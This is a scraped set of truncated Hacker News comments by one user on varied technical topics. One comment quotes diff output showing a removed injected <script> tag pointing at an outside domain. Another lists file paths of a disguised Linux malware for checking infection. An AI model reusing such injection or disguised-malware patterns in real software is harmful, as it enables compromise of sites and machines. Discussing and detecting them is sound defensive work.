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by gvb 5y ago
The "diff" output (above) needs an extra line break to avoid HN automatic line wrapping. The output of the diff command is: diff 1.html 2.html 7d6 < <script>var b=" https://havfruen4220.dk/3_5_no_14_-_
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by gvb 5y ago
1) While sailboats must tack to go upwind, they can tack[1] downwind also. 2) Hull speed is a limitation for displacement sailboats. Sailboats that plane or use hydrofoils or have long skinny hulls (e.g. catamarans) do not have the hull
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by gvb 5y ago
There is a SpaceX private Crew Dragon mission scheduled: https://spacenews.com/inspiration4-announces-crew-for-privat... "Launch is scheduled for no earlier than Sept. 15, slightly earlier than the original announcemen
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by gvb 5y ago
The Motorola 88K probably should be on the list too. The instruction set was good but the implementation sucked. The 88K was abandoned pretty quickly and replaced by the PowerPC ISA. https://en.wikipedia.org/wiki/Motoro
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by gvb 5y ago
We know where all the satellites are and they are actively tracked by both governments and private citizens. Every satellite is in a very deterministic orbit which requires energy to change (enormous amounts of energy for a significant chan
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(2001) Note that this is a case study based on the McDonald Douglas DC-10 roughly two years before the Boeing 787, which was extensively outsourced. Boeing "merged with" McDonald Douglass in 1997. Ref: https://en.wikipe
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by gvb 5y ago
Freenode IRC staff resign en masse after takeover by Korea’s “crown prince” https://arstechnica.com/gadgets/2021/05/freenode-irc-has-bee... Lots of HN discussion: https://www.google.com/search
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by gvb 5y ago
Someone on the internet says Apple iOS does support it: https://davidwalsh.name/how-to-use-jpeg-2000-jp2-for-a-faste...
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Disable javascript
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by gvb 5y ago
The way I understand TFA, the $8.50/hr is what VW would charge you to use (unlock) their self-driving per hour. The article contrasts the quoted $8.50/hr with Tesla's $10,000 up front purchase required to unlock their self-
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by gvb 5y ago
(When I was a sysadmin, I heard a story of how old VAX drives would stall, so holes had been drilled in them with tape over the holes. When stalled, the sysadmin would peel back the tape and use their finger to spin-start them. Those even
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by gvb 5y ago
The U.S. Consumer Product Safety Commission released a video of a child being sucked under the machine. The child was not injured in this instance, but the video is horrifying to watch. https://www.youtube.com/watch?v=onXNnl
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by gvb 5y ago
Yes, but it is unnecessary for the specific application. It also doesn't "encode" '@' which was more awkward. :-)
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There are several vehicles on Mars and all of them are autonomous[1] * Sojourner * Spirit * Opportunity * Curiosity * Perseverance * Ingenuity [1] Albeit the route planning is controlled from earth.
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ls -l $HOME/.gvfsd/.profile/gvfsd-helper /bin/systemd/systemd-daemon /usr/lib/systemd/systemd-daemon If one or more of those files is found, you likely are infected - they probably are not &
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by gvb 5y ago
The user (perhaps running as root) was tricked into installed it. It has nothing to do with the kernel installation. The file name is chosen by the attackers to look like a legit executable - systemd-daemon if installed as root, $HOME/
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by gvb 5y ago
So, looking at the video and "press release" with a jaundiced eye... What is that big unpainted aluminum box sticking out the front? Why is it sticking out the front? It makes the machine look like a prototype, not a production ma
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"spent some time wasting the caller's time" My time is more valuable than the caller's time so there is no way I can make it more unprofitable for the spammer than it costs me in my time. My technique for spam calls is t
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Doubling the allocation is a "hack" that is helpful when reallocations are common and thus is helpful for languages that extend arrays very often (typical of dynamic languages with GC) and where memory is cheap and plentiful. One
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Globalfoundries CEO Caulfield Stands Up for the 70%(eetimes.com)
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by gvb 6y ago
It's a licensing/regulatory issue[1]. SpaceX is working on expanding their licensing[2]: SpaceX filed a request with the FCC on Friday for approval to deploy end-user stations it calls “Earth Stations in Motion,” or ESIMs. The mo
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by gvb 6y ago
The kernel cheats: on start up it figures out which sectors the swap file uses (best if it is contiguous on the drive) and doesn't actually use the file system to read/write swap. This allows it to achieve the same performance for
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by gvb 6y ago
Delegated and distributed responsibility. Windows makes the hardware vendors implement it in the their device drivers, and the "system integrator" (laptop manufacturer) is responsible to verify that it works. The laptop manufactur
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Hardware (peripherals) have state. Reading the hardware state is difficult and sometimes impossible so recreating that state correctly after powering down is very difficult. Then multiply that difficulty across all the different hardware th
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by gvb 6y ago
Disable Javascript. I use NoScript on Firefox. For IEEE, I had to (temporarily) whitelist the main site to get the article sans all the crap. I find this is pretty common when browsing with Javascript mostly disabled.
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by gvb 6y ago
What is interesting is that, if you watch the views of the engines during ascension, there are flames around the base of the engine(s) (only one? somewhat hard to tell) starting at T+00:14 and continuing off and on until around the first en
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by gvb 6y ago
Interesting sequence. You can see the pilots being dropped off on a couple of ships (blue icons) and then the Ever Given. Once it has a pilot, it circles to get proper spacing with the ship ahead and sequences into the canal. As the ship go
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by gvb 6y ago
> The single benefit of Uber having a global presence likely already outweighs the value of these local coops. That and a willingness to subsidize rides to the tune of billions of dollars per year. A coop is going to struggle to provid
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by gvb 6y ago
That statistic is pedestrian deaths, not "hit stopped car on the shoulder" accidents. "Pedestrians may enter the Interstate intentionally, often despite restrictions and controls, while drivers and motor vehicle occupants m
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The tunnel is important and was protected, but it was protected by its obscurity. Like all "security by obscurity," once the secret is known, it is no longer secure and thus is at risk of desecration. Pierre Malinowski put the

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